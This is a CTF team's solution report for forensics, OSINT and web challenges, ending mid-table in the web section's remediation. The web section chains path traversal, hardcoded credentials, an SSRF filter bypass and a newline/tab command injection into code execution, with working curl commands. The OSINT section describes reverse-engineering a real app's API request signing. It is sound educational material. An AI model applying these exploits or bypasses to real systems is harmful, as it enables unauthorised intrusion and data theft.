2026 WCSC October CTF — Solution Report
Team: ihopenre Date: 2026-10-30
Table of Contents
- [Forensics/IR] The Empire Strikes Back (750) / The Empire's Last Orders
- [OSINT] Here and There — 500
- [Web] Anything for Our Members — 750
- [Web] Moth Busters — 500
- [Web] Fruit Shop — 250
- [Web] Jinja2Ninja — 250
- [Misc/Network] Plenty of Portals — 250
- [Misc/Network] The Curious — 500
- [Pwn] Bookshelves — 250
- [Pwn] Dewey Decimal — 375
- [Crypto] Overrated — 500
- [Blockchain/Crypto] Sell Your Ethereum — 750
- [OSINT] Luna's Nite Out — 1000
- [Forensics/Stego] Leonne Stratvarius Bonnie (kitty) — 250
Flag Summary
| # | Challenge | Flag |
|---|---|---|
| 1 | [Forensics/IR] The Empire's Last Orders | WCSC{echoes_in_freed_memory_64795e1b} |
| 2 | [Forensics/IR] The Empire Strikes Back — 750 | WCSC{a_window_into_the_intrusion_42fad758} |
| 3 | [OSINT] Here and There — 500 | WCSC{1210} |
| 4 | [Web] Anything for Our Members — 750 | WCSC{S0_MuCh_S3rvEr_S1d3_Inf0rm47ioN!!!!} |
| 5 | [Web] Moth Busters — 500 | WCSC{Ps1F1v31nf0L4b5_V1b3_C0d35_4lL} |
| 6 | [Web] Fruit Shop — 250 | WCSC{m4nG03z_4nD_M0ngOs} |
| 7 | [Web] Jinja2Ninja — 250 | WCSC{7h15_SSTI_15_s0_r4d} |
| 8 | [Misc/Network] Plenty of Portals — 250 | WCSC{W0rk1ng_W_P0rtAl5_Th3_C4k3_W4s_A_l13} |
| 9 | [Misc/Network] The Curious — 500 | WCSC{UR_2_FuR1oU5} |
| 10 | [Pwn] Bookshelves — 250 | WCSC{c4n7_f17_0n_7h3_5h3lv35!} |
| 11 | [Pwn] Dewey Decimal — 375 | WCSC{d3w3y_h45_4_5y573m} |
| 12 | [Crypto] Overrated — 500 | WCSC{jwt_overrated} |
| 13 | [Blockchain/Crypto] Sell Your Ethereum — 750 | WCSC{4626_inflation_rounding_success_2026} |
| 14 | [OSINT] Luna's Nite Out — 1000 | WCSC{47.6883_9.1406} |
| 15 | [Forensics/Stego] Leonne Stratvarius Bonnie (kitty) — 250 | WCSC{kitty_cat_meow_csc} |
1. [Forensics/IR] The Empire Strikes Back (750) / The Empire's Last Orders
One-line summary: The user analyst downloaded Package-Capa.7z over cleartext HTTP. Inside it was an encrypted archive whose password was the raw base64 string from flag.txt. That archive contained a PowerShell Empire C# agent (capa.exe), which was executed. From the memory dump we recovered (1) the FG= value in the environment block of the decoy process SessionWorker.exe — the Last Orders flag — and (2) a reflectively loaded .NET assembly whose name was a base64 string stored in UTF-16 — the Strikes Back flag.
Shared information
- Original challenge text:
challenges/wcsc-empire/README.md. Everything below is restricted to facts confirmed throughnotes/wcsc-empire.mdand the evidence files. - Provided:
Extraction.7z(~5 GB, KAPE-style triage collection plus a memory dump) and a separately downloadedDump.pcapng. The triage set does not contain the Downloads folder or the pcap (only aDUMPCAP.EXEprefetch entry). - Host
DESKTOP-SVH6UVO, useranalyst. - Memory dump:
C/DESKTOP-SVH6UVO-20261022-195810.dmp(PAGEDU64, 4,274,925,568 bytes), SystemTime 2026-10-22 19:58:12 UTC. - pcap:
Dump.pcapng(9.4 MB), 2026-10-22 19:51:52 – 19:52:47 UTC. - Flag format:
WCSC{...}
Timeline (UTC / KST, KST = UTC+9)
| Time (UTC) | Time (KST) | Event | Evidence | Notes |
|---|---|---|---|---|
| 2026-10-22 19:51:52 | 2026-10-23 04:51:52 | pcap capture starts | Downloads/Dump.pcapng |
|
| 2026-10-22 19:51:52–19:52:47 | 2026-10-23 04:51:52–04:52:47 | GET hxxp://10.226.206[.]191:8000/Package-Capa.7z (cleartext HTTP) |
Dump.pcapng, evidence/wcsc-empire/http_objects/Package-Capa.7z |
25,053 bytes; matches the size carved from memory. Exact per-request timestamps not determined. |
| unknown | unknown | Package-Capa.7z extracted; Secret-Package.7z opened with the raw base64 from flag.txt |
7z references in memory, 7ZR.EXE prefetch |
Exact time not determined |
| 2026-10-22 19:57:26 | 2026-10-23 04:57:26 | capa.exe executed (PID 8188) |
evidence/wcsc-empire/vol_pslist.txt, vol_pstree.txt |
|
| 2026-10-22 19:57:48 | 2026-10-23 04:57:48 | capa.exe spawns SessionWorker.exe (PID 6720, argument 1800) |
vol_pslist.txt (CreateTime), vol windows.cmdline |
Still running at dump time (8 threads) |
| 2026-10-22 19:57:57 | 2026-10-23 04:57:57 | capa.exe exits (PID 8188) |
vol_pslist.txt |
|
| 2026-10-22 19:58:12 | 2026-10-23 04:58:12 | Memory dump taken (SystemTime) | dump header | Dump filename says 195810 |
Note: the pcap ends at 19:52, so no C2 traffic to 192.168.175[.]128 appears in it.
Attack chain
- Initial delivery:
analystdownloadedPackage-Capa.7zfrom an external host over cleartext HTTP. The directory listing on that server (10.226.206[.]191:8000) contained only this file. A reverse lookup toeduroam-226-206-191.laptops.usf.eduis recorded in the notes, but the raw lookup output is not in the evidence set. - Social engineering:
flag.txtinside the archive reads "The archive is sealed. Maybe the flag you found nearby is the key it's waiting for." together with a base64 string. That raw base64 string is the password forSecret-Package.7z. The decodedWCSC{...}value is not the password. - Execution:
Secret-Package/capa.exe(named to impersonate the legitimatecapatool) was executed. Identified as a PowerShell Empire C# agent (Sharpire family). - Decoy process:
capa.exespawned%LOCALAPPDATA%\Temp\ApplicationTelemetry\<GUID-like folder>\SessionWorker.exe 1800. This is a tiny .NET program that only reads an environment variable and sleeps. - Persistence: not established. The scheduled tasks we initially suspected turned out to be lab automation (see "Ruled out" below).
- C2:
192.168.175[.]128over HTTP. We could not recover any actual traffic to this C2. - In-memory module: the dump contains the name of a reflectively loaded .NET assembly that does not exist on disk (the Strikes Back flag). We assess it was loaded via Empire's
RunAssemblyInProcess— this is an inference, not a confirmed fact. - Privilege escalation / lateral movement / exfiltration: not established.
Indicators of Compromise (IoCs)
Files / paths
- C:\Users\analyst\Downloads\Package-Capa\Package-Capa\flag.txt (held open by Notepad, PID 11416)
- C:\Users\analyst\Downloads\Package-Capa\Package-Capa\Secret-Package\capa.exe (PID 8188)
- C:\Users\analyst\AppData\Local\Temp\ApplicationTelemetry\dc0b758ea8c544068e0555042765aa8c\SessionWorker.exe (decoy, PID 6720); prefetch: C/Windows/prefetch/SESSIONWORKER.EXE-45532A12.pf
Hashes
- Secret-Package/capa.exe (58,880 B) SHA-256: 4fac75bc9c4b8dc40265e71b73378551dbe56884f7787c8e112797a4206eabba
- Package-Capa.7z (25,053 B) SHA-256: edc51181b23b37701ac566550f6ce4eadb4c16fe5320362ecaba33db3eceff72
- Secret-Package.7z (24,688 B) SHA-256: 156856d09e87163defca0ab7fc425245444523b2373cd7d8032297ff344269aa
- flag.txt (144 B) SHA-256: 237162bc2730731717150dd005b80b88cca4d716c4c2538b0399c4894aa1a4df
- SessionWorker.exe (image extracted from the memory dump, 24,576 B) SHA-256: aeeb47e3ad182a438d3834fef2c48f79ad74d43d0886344fd3963eb737a1a0e9 (on-disk original hash not verified)
Network
- Delivery server: hxxp://10.226.206[.]191:8000/Package-Capa.7z, reverse name eduroam-226-206-191[.]laptops[.]usf[.]edu
- C2: hxxp://192.168.175[.]128/
- Empire default URIs: /admin/get.php, /news.php, /login/process.php
- User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
- Staging key: 2mQIKCB4WdvqyA3qtBevpBfnXXeTc7jH (extracted from capa.exe)
- Sysmon surfaced the external IP 89.106.20[.]205 as a candidate, but we could not establish whether it is malicious.
In-memory
- Assembly name V0NTQ3thX3dpbmRvd19pbnRvX3RoZV9pbnRydXNpb25fNDJmYWQ3NTh9
- Empire launcher remnants: -noP -sta -w 1 -enc SQBmACgAJABQAFMAVg... (evidence/wcsc-empire/enc_scan2.txt)
Scheduled tasks / services / accounts: nothing confirmed malicious (this is a finding, not an unknown: the review showed only lab automation). No created accounts were identified.
Part 1 — The Empire's Last Orders
1. Problem summary
- Provided:
Extraction.7z(KAPE triage + memory dump) - Goal: a hidden flag (
WCSC{...})
2. Analysis
- In the triage set,
ConsoleHost_history.txtand scheduled-task XML pointed atC:\ProgramData\LabWorker\Windows-Executor.ps1and the tasksLocalWorker/LocalWorkerWatchdog. These turned out to be lab automation (see "Ruled out"). - Scanning the whole memory dump in both ASCII and UTF-16LE produced
WCSC{echoes_in_freed_memory_64795e1b}. The surrounding context is a process environment block (PEB environment):FG=WCSC{...}followed byPATH,SystemRoot,TEMP,TMP,WINDIR. - The same context revealed the
SessionWorker.exepath, and execution was cross-confirmed via the prefetch fileSESSIONWORKER.EXE-45532A12.pf. - Occurrences in the dump: 5 in ASCII, 4 in UTF-16LE. Offsets are in
evidence/wcsc-empire/flag_offsets.txt. - As the flag name suggests, the environment block of a terminated process was still resident in freed memory.
3. Steps
- Review the triage artifacts (
ConsoleHost_history, scheduled-task XML, event logs). - Full string search over the memory dump. Define the variables yourself:
cd /home/lsh/whitehat2026-workspace
DUMP=challenges/wcsc-empire/ex/C/DESKTOP-SVH6UVO-20261022-195810.dmp # extracted via 7z x Extraction.7z
harness/sb "strings -a -t d $DUMP | grep -F 'WCSC{'"
harness/sb "strings -el -a -t d $DUMP | grep -F 'WCSC{'"
- Dump the context around each offset:
python3 -I tools/wcsc-empire/ctx_dump.py "$DUMP" <offset...>(this tool reads 3,000 bytes before and 6,000 bytes from the offset and prints ASCII/UTF-16 strings). The-t dflag above yields decimal offsets, which can be passed directly. - Process confirmation:
evidence/wcsc-empire/vol_pslist.txt,vol_pstree.txt(volatility3windows.pslist/pstreeoutput).
4. Result
- Flag:
WCSC{echoes_in_freed_memory_64795e1b} - Time obtained: 2026-10-30 14:20 UTC (23:20 KST) — first entry in
notes/FLAGS.md; submission and scoring were done manually by the operator. The recorded time is converted from the workstation's local timezone (Asia/Bangkok, UTC+07). - Evidence:
evidence/wcsc-empire/flag_offsets.txt - Scoring: recorded in the notes as "confirmed correct". This flag was first submitted against Strikes Back, where it was rejected; it was correct for the sister challenge Last Orders.
5. Root cause and remediation
- Classification: user-executed malicious archive (CWE-506, embedded malicious code family); sensitive data persisting in memory after process termination (CWE-226).
- Remediation: block execution of archives from untrusted sources; block cleartext HTTP downloads; add detection for filename masquerading (
capa,ApplicationTelemetry); capture memory during incident response.
Part 2 — The Empire Strikes Back (750)
1. Problem summary
- Provided: the same
Extraction.7zas Part 1 - Goal: a flag (
WCSC{...}) derived from a malicious artifact in the dump
2. Analysis
- Observation: dumping
SessionWorker.exe(vol windows.pslist --pid 6720 --dump) yielded a 24 KB PE32+ .NET binary referencing onlymscorlib/Environment/Thread. It only callsGetEnvironmentVariableandThread.Sleep, so it is a decoy rather than malware, and theFG=value it carries (the Part 1 flag) is not the answer here. - Actual chain:
vol windows.cmdlineconfirmed PID 8188capa.exe, PID 6720SessionWorker.exe, and PID 11416Notepad.exe(withflag.txtopen). - Recovered
flag.txtfrom memory:V0NTQ3tmb2xsb3dfdGhlX3N1cHBvcnRfaGFuZG9mZl82YTU1NjI2Nn0=plus the "The archive is sealed..." text. Decoding givesWCSC{follow_the_support_handoff_6a556266}— an incorrect-answer breadcrumb. - Extracted
Package-Capa.7zfromDownloads/Dump.pcapng(tshark --export-objects http). Contents:flag.txt+Secret-Package.7z, with the raw base64 as the password. Thecapa.exeinside is an Empire C# agent (feature strings:AesEncryptThenHmac,BuildRoutingPacket,ChaCha20Poly1305,CheckAgentJobs,RunAssemblyInProcess,RunPowerShell, etc.). - Key insight: the first pass searched for base64 only in ASCII. .NET stores strings as UTF-16, so a
V0NTQ3...sequence has a NUL byte between every character and never matches an ASCII pattern. Re-running the search withstrings -elproduced a new string with 4 occurrences. - Location: dump offsets 2120233860, 2120234192, 3954008676, 3954009008 (
evidence/wcsc-empire/flag3_offsets.txt). The surrounding data is a CLR assembly load list:0v2wkbf1.mi4, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null,V0NTQ3thX3dp..., Version=0.0.0.0, ...(the assembly name is the base64 flag),System.Windows.Forms,System.Drawing,mscorlib. This is a reflectively loaded assembly that exists only in memory, never on disk. The references to Windows.Forms/Drawing suggest screen-capture functionality (inference).
3. Steps
cd /home/lsh/whitehat2026-workspace
DUMP=challenges/wcsc-empire/ex/C/DESKTOP-SVH6UVO-20261022-195810.dmp
PCAP=challenges/wcsc-empire/Dump.pcapng # copy of the separately downloaded file
## 1) Extract HTTP objects from the pcap
harness/sb "tshark -r $PCAP --export-objects http,evidence/wcsc-empire/http_objects"
## 2) Extract the 7z; the password is the raw base64 from flag.txt
harness/sb "7z x -pV0NTQ3tmb2xsb3dfdGhlX3N1cHBvcnRfaGFuZG9mZl82YTU1NjI2Nn0= -oevidence/wcsc-empire/http_objects/secret evidence/wcsc-empire/http_objects/outer/Package-Capa/Secret-Package.7z"
## 3) Re-scan for UTF-16 strings (the step that found the answer)
harness/sb "strings -el -a -t d $DUMP | grep -F 'V0NTQ3'"
## 4) Decode
echo 'V0NTQ3thX3dpbmRvd19pbnRvX3RoZV9pbnRydXNpb25fNDJmYWQ3NTh9' | base64 -d
## 5) Inspect the surrounding context
python3 -I tools/wcsc-empire/ctx_dump.py "$DUMP" 2120233860 3954008676
Tools used (tools/wcsc-empire/):
evtx_scriptblocks.py— reconstructs PowerShell 4104 script blocks from evtx (python3 -I tools/wcsc-empire/evtx_scriptblocks.py <evtx> 4104).fast_scan.py— single pass over the dump looking forWCSC{under single-byte XOR/ADD, reversal, rot13, UTF-16BE and hex variants. This scan did not find it.scan_encodings.py—python3 -I tools/wcsc-empire/scan_encodings.py <dump>; first version that ran 255 single-byte XOR passes withmmap.find(abandoned as too slow, replaced byfast_scan.py). Also did not find it.- The search that actually succeeded was not a script but a one-liner:
strings -el $DUMP | grep -oE 'V0NTQ3[A-Za-z0-9+/=]{6,}'(output:evidence/wcsc-empire/enc_scan2.txt). ctx_dump.py— dumps ASCII/UTF-16 strings around a given offset.
Approaches ruled out (none produced a new WCSC hit): plaintext / UTF-16 / reversed / rot13 / hex / base64 (all three alignments) / single-byte XOR and ADD across the whole dump; ASCII + UTF-16 grep over all 769 triage files; plaintext, XOR, ADD, base64, repeating-key XOR with the staging key, and ChaCha20 decryption against capa.exe. capa.exe has no overlay, no extra sections and no resources.
4. Result
- Flag:
WCSC{a_window_into_the_intrusion_42fad758} - Time obtained: 2026-10-30 15:08 UTC (2026-10-31 00:08 KST) — first entry in
notes/FLAGS.md; submitted and confirmed correct by the operator. Converted from the workstation's local timezone (Asia/Bangkok, UTC+07). - Evidence:
evidence/wcsc-empire/flag3_offsets.txt,evidence/wcsc-empire/capa_utf16_strings.txt,evidence/wcsc-empire/enc_scan2.txt - Scoring: recorded in the notes as "confirmed correct 2026-10-30". No external lookups (VirusTotal etc.) were used.
5. Root cause and remediation
- Classification: user-induced malware execution (CWE-506 family); reflective loading (fileless assembly).
- Remediation: block untrusted archives; detect in-memory .NET assembly loads (ETW CLR load events); during memory forensics, search UTF-16 strings and encoding variants in addition to ASCII.
Ruled out / wrong paths
C:\ProgramData\LabWorker\Windows-Executor.ps1 and the LocalWorker / LocalWorkerWatchdog scheduled tasks
- Why suspicious: logon trigger,
Bypass,HighestAvailable,-WindowStyle Hidden. - Correction: the task XML's
<Hidden>element isfalse(challenges/wcsc-empire/ex/C/Windows/System32/Tasks/LocalWorker, line 34). Window hiding came from a script argument, not a task property. - Correction: the payload encoding is not gzip+base64 but base64 JSON (
-RequestBase64 'eyJhY3Rpb24iOiJzdWJtaXQi...'→{"action":"submit","kind":"powershell",...}). - Conclusion: after reconstructing and reading 150 script blocks (event 4104), this is the lab's own IR automation — KAPE / Magnet DumpIt / KernelLiveDump deployment and network checks — i.e. the tooling that produced this evidence package. Across all 150 script blocks there are zero hits for
WCSCand zero forSessionWorker. Note that only 4 payloads were read in full; the remainder were not individually reviewed. Basis:evidence/wcsc-empire/decoded_payloads.txt,ps_scriptblocks.txt.
The FG= value in SessionWorker.exe
- Initially treated as the answer to Strikes Back; it was rejected. The program is a decoy that only reads an environment variable and sleeps, and its value was the answer to the sister challenge Last Orders.
WCSC{follow_the_support_handoff_6a556266}
- The decoded form of the base64 in
flag.txt. It is not a submittable flag but a breadcrumb: the raw base64 serves as the password forSecret-Package.7z. The notes record it as "submitted" and then resolved as incorrect.
Limitation of the first base64 scan: searching ASCII only missed the V0NTQ3... string stored as UTF-16.
Limitations and open items
- Exact execution times for the download (somewhere inside the pcap window 19:51:52–19:52:47 UTC) and the 7z extraction were not determined.
SessionWorker.execreation is pinned at 19:57:48 UTC (pslist). - Decryption of C2 traffic using the staging key was not attempted or not completed.
- The actual capability of the reflectively loaded assembly is an inference; the assembly body itself was not extracted.
- Hashes for
Package-Capa.7z/Secret-Package.7z/flag.txtare from the copies carved out of the pcap. The on-disk originals (Downloads folder) are absent from the triage set and could not be compared.
2. [OSINT] Here and There — 500
1. Problem summary
- Provided: a chat log and two images. No server.
- Sent by Jake:
Screenshot_2026-10-30_033847.png(80 x 87 px) - Sent by Jonathan:
VERT_IMG_0238.png(2012 x 552 px) - Conversation: Jonathan "wya" → Jake sends an image → Jonathan "wtf" → "just come meet me here" + image
- Task: locate both people, compute the great-circle (straight-line) distance between the two points in miles, rounded to the nearest 10.
- Driving/route distance is not used. Format:
WCSC{distance} - Hints (100 points each): "Where Jonathan", "Where Jake?"
Both images are barcodes, but of different kinds. PDF417 carries the data itself; a NaviLens tag carries only an ID that must be resolved against a server, so the registered information has to be looked up separately.
2. Analysis
2-1. Jonathan — PDF417 boarding pass (IATA BCBP)
VERT_IMG_0238.png is a photograph of a printed PDF417 symbol. Decoded with zxing-cpp:
M1KARTWIDJAJA/JONATHANELT0N37 ORDFARUA 5679 298YOVSL0000 177>8320OO6298BUA ...
Split into the fixed-width fields of IATA Resolution 792:
| Field | Value | Meaning |
|---|---|---|
| Format Code / Legs | M / 1 |
BCBP, 1 leg |
| Passenger Name (20) | KARTWIDJAJA/JONATHAN |
|
| Electronic Ticket Ind | E |
|
| Operating carrier PNR (7) | LT0N37 |
|
| From City Airport (3) | ORD |
Chicago O'Hare |
| To City Airport (3) | FAR |
Fargo, Hector International |
| Operating carrier (3) | UA |
United Airlines |
| Flight Number (5) | 5679 |
UA 5679 |
| Date of Flight (3) | 298 |
day 298 of the year (no year in the field) |
| Compartment / Seat | Y / OVSL |
We read "here" in "just come meet me here" as the destination, FAR. The challenge wording "how FAR he is asking him to travel" is also a pun on the airport code.
2-2. Jake — NaviLens (ddTag) colour code
The 80 x 87 px image is not a picture but a NaviLens marker. Inside a white quiet zone sits a black square containing a 5 x 5 grid of Cyan / Magenta / Yellow / Black cells. Each colour encodes 2 bits.
| Symbol | Colour | Bits |
|---|---|---|
| C | Cyan | 00 |
| M | Magenta | 01 |
| Y | Yellow | 10 |
| K | Black | 11 |
The four corner cells carry the palette and orientation, the centre cell carries the size, and the remaining cells of the centre row/column carry the CRC. The message is read from the remaining cells, each column top-to-bottom, columns left-to-right.
Grid as read:
C K M M M
K M M M M
K Y C C C
M K K Y K
K M M Y Y
→ 24-bit message 110111011101010110100111 = 0xDDD5A7
Because of the low resolution one cell was misclassified and the CRC disagreed. The automatic reader classified row 3, column 2 as Cyan, under which the stored CRC 0xC5D0 did not match the computed 0xE5D0. Treating that cell as Yellow makes them agree. Since the corrected cell lies in the CRC area, the message ID itself is unchanged.
(CRC parameters: polynomial 0xC867, init 0, no input/output reflection, final XOR 0.)
2-3. ID → place lookup
A NaviLens marker carries only an ID, so the registered record must be queried. We opened the Android app with JADX to recover the request path and signing scheme (NaviLensAPIInterface, TagPetition, BaseAPI, NaviLensSignatureManager, CONSTANTS).
POST https://cloud.navilens.com/securized/services/tags/info
Content-Type: application/json; charset=UTF-8
x-date: <UTC timestamp>
authorization: Bearer <signature>
String to sign (joined with LF):
POST
/securized/services/tags/info
<lowercase hex MD5 of the body bytes>
application/json; charset=UTF-8
<same UTC timestamp as x-date>
signature = Base64(HMAC-SHA512(client signing constant from the app, string above))
The key is the literal bytes of the app's constant string (it is not hex-decoded first).
Fields from the response used for the location:
{
"code": "DDD5A7",
"name": "411-8-CTA-13",
"locale": "en",
"description_offline": "Brooklyn Bridge-City Hall elevator entry to 4, 5, 6, J and Z train. "
}
→ Jake is at the Brooklyn Bridge–City Hall station elevator entrance in Manhattan, New York (inside City Hall Park, near Chambers St / Centre St).
3. Steps
- Identify the format of both images: Jonathan = PDF417, Jake = NaviLens/ddTag.
- Decode the PDF417 (in the sandbox:
pip install --break-system-packages zxing-cpp):
from PIL import Image
import zxingcpp
im = Image.open('jonathan_VERT_IMG_0238.png')
res = zxingcpp.read_barcodes(im) # decodes in the original orientation
t = res[0].text
print(t[30:33], t[33:36], t[36:39].strip(), t[39:44].strip()) # ORD FAR UA 5679
- Read the NaviLens 5x5 cells → 24-bit message → verify the CRC (one cell corrected) → ID
DDD5A7. - Query the NaviLens cloud API for the registered record → Brooklyn Bridge–City Hall station entrance.
- Compute the great-circle distance between the two points and round to the nearest 10.
Cross-checks (performed independently in this repository)
- Sampling the 5 x 5 cells directly from the original 80 x 87 image and classifying them in CMYK reproduced 23 of the 25 cells. The two mismatches are black (K) cells, which have no saturation and so fell outside the hue bounding box; neither format identification nor the ID is affected.
- Distance was computed with
tools/wcsc-here-there/dist.pyunder both a spherical and an ellipsoidal model.
4. Result
Coordinates (the NaviLens response has no coordinate field, so a representative point near the station entrance was used):
| Point | Latitude | Longitude |
|---|---|---|
| Jake — near Brooklyn Bridge–City Hall station entrance | 40.7131500 | -74.0048000 |
| Jonathan's destination — Hector International (FAR) | 46.9206389 | -96.8157500 |
haversine (sphere, R=6371.0088 km): 1210.067 mi -> 1210
vincenty (WGS84 geodesic) : 1212.834 mi -> 1210
Both models round to 1210 at the nearest 10. Moving Jake's coordinate by about 1.5 miles changes the distance by only 0.3 miles, so the result is stable well inside the rounding band (1205–1215): the exact choice of point at the station entrance does not affect the answer.
- Flag:
WCSC{1210} - Time obtained: 2026-10-30 14:43 UTC (23:43 KST)
- Evidence:
evidence/wcsc-here-there/(bcbp.txtwith the raw BCBP and field parsing,exif-gps.txt,SEARCH_*.pngenlargements,jake_art_x20.png, etc.),tools/wcsc-here-there/dist.py
5. Interpretation caveats (limits of the evidence)
- EXIF GPS is not the subject's location. Jonathan's image retains EXIF GPS pointing at 27.797469, -82.293686 (Hillsborough County, Florida). However
GPSHPositioningError ≈ 5,094 mand there is no landmark at that coordinate. This is a trace of where the printout was photographed, not the meeting place. We used the boarding pass destination, FAR. - Choosing the destination is an inference. The PDF417 only establishes an
ORD → FARitinerary; FAR was taken as the meeting point from the "meet me here" context. - For NaviLens, recovering the ID and fixing the location are separate steps. Recovering
DDD5A7and verifying its CRC does not by itself yield New York. The direct basis for the location is the registered record returned for that ID. - Jake's coordinate is not GPS extracted from the marker. It is a representative point near the station entrance; the sensitivity check above shows the answer does not change.
- As of writing, there is no record of submitting this to the scoring server and receiving a verdict.
6. Post-mortem (analysis failure worth recording)
We initially misread Jake's image as "a framed geometric abstract painting" and spent time searching art databases. Degraded to 80 x 87 px, the white quiet zone looked like a mat, the black border like a frame, and the CMYK cells like colour-field composition.
Decision rule: a grid of square cells in exactly four CMYK colours on a black background, surrounded by a white margin, should be suspected as a colour 2D code (NaviLens / ddTag / HCCB family) before it is treated as artwork. Check whether the colours are quantised to four values and whether the cell boundaries align to a grid. Counting cells remains possible even at low resolution.
3. [Web] Anything for Our Members — 750
1. Problem summary
- Provided: only the server URL
https://wcsc-anything-for-our-members.chals.io(source not published — full black box) - Goal: flag
WCSC{...} - Hint (0 points): "Have you visited everywhere you can be on the website?"
Five vulnerabilities must be chained in order to reach the flag.
2. Analysis
Reconnaissance
GET /→ 302 to/login. HeaderServer: Werkzeug/3.1.8 Python/3.12.13→ Flask development server./loginis a static page whose JS posts JSON{username, password}toPOST /api/login. No registration feature./robots.txt,/sitemap.xml,/register,/static/,/admin,/console,/flagall return 404./dashboardredirects (302) to/login. There is no legitimate way in.
Vulnerability 1 — unauthenticated API index disclosure (information exposure)
Reading the hint "everywhere you can be" as "every point reachable without authentication", we checked /api:
GET /api → 200 application/json
{"/api":{"/login":"Authenticate to member site, requires 'username' and 'password' - JSON POST parameters",
"/test":{"/announce":"IN PROGRESS",
"/read":"Read public member bios, requires 'bio' - GET parameter"}}}
A development route index is exposed verbatim, revealing /api/test/read.
Vulnerability 2 — arbitrary file read in /api/test/read
Differences in the response messages let us reverse the internal logic:
| Input | Response | Interpretation |
|---|---|---|
bio=jonathan.txt |
Invalid bio file, … |
exception raised = file not found |
bio=bios/jonathan.txt |
ummm, what the sigma? |
success (bio file contents) |
bio=app.py |
error, bio must specify correct directory |
the file opened, then failed the directory check |
The third row is decisive: the check runs after the file is opened, so even when the check fails the response leaks the fact that the file exists. The actual code, recovered later:
@app.route('/api/test/read')
def api_test_read():
bio = str(request.args.get('bio'))
bio_path = bio
try:
with open(f'/app/member-site/{bio_path}', "r", encoding="utf-8") as file:
bio_content = file.read() # (1) read before any check
if 'bios' not in bio_path: # (2) substring check with no path normalisation
return "error, bio must specify correct directory"
return bio_content
except Exception as e:
return "Invalid bio file, valid files in bios/: …"
Because (2) never normalises the path and only tests whether the string contains bios, bios/../ bypasses it entirely.
?bio=bios/../app.py → full text of /app/member-site/app.py
?bio=bios/../../../etc/passwd → /etc/passwd
Vulnerability 3 — secrets hardcoded in source
From app.py:
app.config['SECRET_KEY'] = "aosihdadas98hdqin23oriqwhd8sya89jnu283rjhinqfkoia8"→ session cookies can be forged- Hardcoded credentials under a
#TODO: Remove hardcoded credentialscomment:administrator/2e97aba8ea21fb90774c81dbde78a32d - A route absent from the
/apiindex:POST /api/authenticated/upload(requires login)
Vulnerability 4 — blacklist-based SSRF filter
@app.route('/api/authenticated/upload', methods = ['POST'])
def api_authenticated_upload():
if not check_login(): return "forbidden", 401
url = str(request.get_json()['url'])
#TODO: Remember to add a firewall rule that drops all traffic from the webserver to localhost:1234
#for now this filter should do
if not url.startswith('http://'): return "error, invalid URL schema"
if 'localhost' in url or '127.0.0.1' in url: return "error, disallowed host"
response = get(url)
return response.text # returns the body verbatim → full read SSRF
The deny list contains exactly two strings. The loopback interface has many other spellings (0.0.0.0, 0, 127.1, [::1], 2130706433). The comment even names the target, localhost:1234.
Vulnerability 5 — command injection in the internal dashboard
Reaching http://0.0.0.0:1234/ via SSRF produced a "Server Management" page, and /list-processes showed two applications running in the same container:
www-data 85 python3 /app/member-site/app.py
www-data 86 python3 /app/internal-admin-leet-dashboard/app.py
Reading that second path back through vulnerability 2 gave the internal application's source:
@app.route('/search-packages')
def search_packages():
package = str(request.args.get('package'))
blacklisted_characters = [";", "|", "&", "$", " "]
if any(char in blacklisted_characters for char in package):
return "errorm, restricted character detected"
result = subprocess.run(f'apt-cache search {package}', shell=True, capture_output=True, text=True)
output = result.stdout
return output
A string is passed to the shell with shell=True while the deny list contains only five characters — newline and tab are missing.
- newline (
%0a) = command separator (replaces;) - tab (
%09) = argument separator (replaces space)
3. Steps
- Obtain
/api/test/readfrom/api(vulnerability 1). - Read the main application source via arbitrary file read (vulnerability 2):
curl -G 'https://wcsc-anything-for-our-members.chals.io/api/test/read' \
--data-urlencode 'bio=bios/../app.py'
- Log in with the hardcoded credentials (vulnerability 3):
curl -c cookies.txt -X POST .../api/login -H 'Content-Type: application/json' \
-d '{"username":"administrator","password":"2e97aba8ea21fb90774c81dbde78a32d"}'
→ 200 success (session cookie issued)
- Bypass the SSRF filter with
0.0.0.0and reach the internal service (vulnerability 4):
curl -b cookies.txt -X POST .../api/authenticated/upload -H 'Content-Type: application/json' \
-d '{"url":"http://0.0.0.0:1234/"}'
→ internal "Server Management" HTML
- Use
/list-processesto find the internal application path, then read its source through vulnerability 2 to confirm the deny list:
--data-urlencode 'bio=bios/../../internal-admin-leet-dashboard/app.py'
- Command injection with newline + tab → RCE (vulnerability 5):
curl -b cookies.txt -X POST .../api/authenticated/upload -H 'Content-Type: application/json' \
-d '{"url":"http://0.0.0.0:1234/search-packages?package=%0aid%0als%09-la%09/%0als%09-la%09/app"}'
→ uid=33(www-data) gid=33(www-data)
/app/ ... -rw-r--r-- 1 root root 41 flag_1837rywqdhua.txt
- Read the flag (vulnerability 2 alone suffices):
curl -G .../api/test/read --data-urlencode 'bio=bios/../../flag_1837rywqdhua.txt'
→ WCSC{S0_MuCh_S3rvEr_S1d3_Inf0rm47ioN!!!!}
4. Result
- Flag:
WCSC{S0_MuCh_S3rvEr_S1d3_Inf0rm47ioN!!!!} - Time obtained: 2026-10-30 13:59 UTC (22:59 KST)
- About 30 requests total, mostly single-path checks. No brute forcing, fuzzing or destructive commands.
- Evidence:
evidence/wcsc-members/01-root.*through17-build-files.txt(key files:04-api.txtAPI index,10-app.pymain source,14-internal-app.pyinternal source,15-rce-ls.txtRCE,16-flag.txtflag)
5. Root cause and remediation
| # | Vulnerability | Classification | Fix |
|---|---|---|---|
| 1 | /api exposes the route index without authentication |
CWE-200 / CWE-489 (leftover debug feature) | Remove it from production builds or move it behind authentication |
| 2 | open() before validation; substring check 'bios' not in path |
CWE-22 path traversal (+ CWE-209 information exposure through error messages) | Compare against an allow list (if name not in os.listdir(BIOS)), then os.path.join + os.path.realpath and verify the result stays under the base directory. Move the check before open(). Generalise exception messages. |
| 3 | SECRET_KEY and credentials hardcoded |
CWE-798 / CWE-547 | Move to environment variables or a secret store; store passwords hashed (bcrypt/argon2) in a database; rotate the leaked key immediately |
| 4 | String deny list as an SSRF filter | CWE-918 | Switch to an allow list (domains, schemes). Resolve DNS and block private, loopback and link-local ranges (RFC1918, 127/8, 0.0.0.0, ::1, 169.254/16), and re-validate on redirects. Block internal services at the network layer — actually apply the firewall rule from the comment. |
| 5 | shell=True plus a character deny list |
